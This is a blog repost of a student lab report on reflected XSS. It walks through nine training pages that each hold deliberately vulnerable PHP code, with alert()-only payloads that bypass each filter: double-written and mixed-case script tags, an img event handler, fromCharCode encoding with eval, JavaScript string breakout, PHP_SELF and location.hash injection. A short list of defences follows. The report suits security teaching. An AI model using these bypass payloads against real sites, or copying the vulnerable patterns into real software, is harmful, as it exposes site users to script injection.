美文网首页
反射型XSS

反射型XSS

作者: ch3nie | 来源:发表于2019-04-03 15:56 被阅读0次

title: 反射型XSS
date: 2019-03-13 20:36:26
tags: [web安全技术课程]
categories: 学校


反射型XSS

老师让写实验报告,就把实验报告贴一份过来吧。

实验目的

  1. 理解反射型XSS的原理
  2. 学习反射型XSS的实现过程
  3. 学习如何防御XSS

实验原理

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS分为反射型XSS,存储型XSS和DOM型XSS。反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。这里插入的恶意代码并没有保存在目标网站,需要引诱用户点击一个链接到目标网站的恶意链接来实施攻击。

img

XSS攻击分类:

XSS漏洞一般有两种类型攻击。

a)一类是来自内部的攻击,主要指的是利用WEB程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。

b)另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低。

实验步骤

Example 1

<?php
    echo $_GET["name"];
?>

主要代码如上。这里通过GET方式传过去name参数,并且对传过去的参数没有做任何过滤,我们的输入会在页面进行显示。现在我们输入恶意代码<script>alert('chenie')</script>XSS弹出弹框。

img
Example 2
<?php
    $name = $_GET["name"];
    $name = preg_replace("/<script>/", "", $name);
    $name = preg_replace("/<\/script>/", "", $name);
    echo $_GET["name"];
?>

这里加入了一些过滤,preg_replace()函数如果检测到<script></script>就会把其替换为空格(区分大小写,只替换小写的)。
但这里并没有迭代替换,所以这里可以双写绕过也可以大小写绕过。
即payload<scr<script>ipt>alert('chenie')</s</script>cript><scRipt>alert('chenie')</scRipt>都可以绕过过滤进行XSS。

img img

Example 3

<?php
    $name = $_GET["name"];
    $name = preg_replace("/<script>/i", "", $name);
    $name = preg_replace("/<\/script>/i", "", $name);
    echo $_GET["name"];
?>

这里还是用了preg_replace()函数,只不过这里替换时不区分大小写,所以这里我们不能用大小写绕过了,但我们还是可以用双写绕过的,payload同上<scr<script>ipt>alert('chenie')</scr</script>ipt>

img

Example 4

<?php
if (preg_match('/script/i', $_GET["name"])){
    die("error");
}
?>
<?php echo $_GET["name"]; ?>

上面是Example 4的主要代码,这里用了preg_match()函数, 只要在获取的参数中含有script字符串即报错。这里我们可以使用img标签来绕过,img src调用图片失败然后执行后面的动作。payload为<img src=""onclick="alert('chenie')">

img

Example 5

<?php
if (preg_match('/alert/i', $_GET["name"])){
    die("error");
}
?>
<?php echo $_GET["name"]; ?>

代码Example 5的preg_match()函数查找的字符串变成了alert,也就是我们的payload的中不能出现alert, 这样的情况下我们就可以用编码来绕过了, payload为<script>eval(String.fromCharCode(97,108,101,114,116,40,39,99,104,101,110,105,101,39))</script>

img

Example 6

<script>
    var $a="<?php echo $_GET["name"];?>";
</script>

Example 6的主要代码, 直接在js环境中输出php变量。可以通过构造js脚本使标签闭合然后加入新标签,payload为</script><script>alert('chenie')</script>

img

Example 7

<script>
    var $a="<?php echo htmlentities($_GET["name"]);?>";
</script>

主要代码如上,代码在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,我们使用单引号绕过,尝试构造语句如下:';alert('chenie');'

img

Example 8

<?php
if (isset($_POST["name"])){
    echo "HELLO".htmlentities($_GET["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>"> method="POST">
    Your name:<input type="text" name="name" />
    <input type="submit" name="submit" />
</form>>

第八关,这里有一个输入用户名的地方,当测试提交一个地址的时候源码会显示出来一个链接,链接就是输入的链接,关键代码如上,payload为http://192.168.1.3:8080/xss3/xss/example8.php/[/url]"><script>alert('chenie')</script>"< "

img

Example 9

<script>
    document.write(location.hash.substring(1));
</script>

代码如上,XSS直接在页面输出锚点id,构建一个带xss的锚点即可,payload为http://192.168.1.3:8080/xss3/xss/example9.php#alert(‘chenie’)</script)>。刷新网页后,即可弹窗。

img

实验总结

XSS防御

  1. preg_repalce()执行一个正则表达式的搜索和替换
  2. preg_match()执行匹配正则表达式
  3. htmlspecialchars()将特殊字符转换为 HTML 实体
  4. strip_tags() 从字符串中去除 HTML 和 PHP 标记
  5. js环境输出php变量

总之就是对用户的输入进行检查和对用户的输出进行检查。

相关文章

  • XSS漏洞攻击教程:

    XSS分类:1.反射型XSS(非持久型);2.存储型XSS((持久型);3.DOM XSS(文档对象型). 反射型...

  • 代码审计——xss漏洞

    XSS漏洞大致分为三种 反射型XSS漏洞 存储型XSS漏洞 基于DOM的XSS漏洞 反射型XSS漏洞 它通过给别人...

  • xss漏洞原理分析与挖掘方法

    0x01 反射型xss 反射型xss是能挖到的xss中最多的,他的原理如下: 1.黑客发现了一个存在反射型xss的...

  • Web安全-XSS

    学习内容:理解XSS的攻击原理和手段 掌握XSS攻击的防范措施 一、XSS攻击方式:反射型、存储型 1)反射型: ...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • web安全1

    xss 类型 Dom Based Xss、反射型Xss和存储型Xss 攻击 获取cookie基本是配合csrf一起...

  • 2019-02-20 xss go on

    我觉得视频上讲的不是很清晰,说说反射型xss 和 存储型xss 反射型xss 可以理解为你在页面填入一段js代码,...

  • Web漏洞分类

    普通反射型XSS存储型XSS基于DOM的XSS基于Flash的XSS 写类型CSRF读类型CSRFURL跳转漏洞 ...

网友评论

      本文标题:反射型XSS

      本文链接:https://www.haomeiwen.com/subject/xmezbqtx.html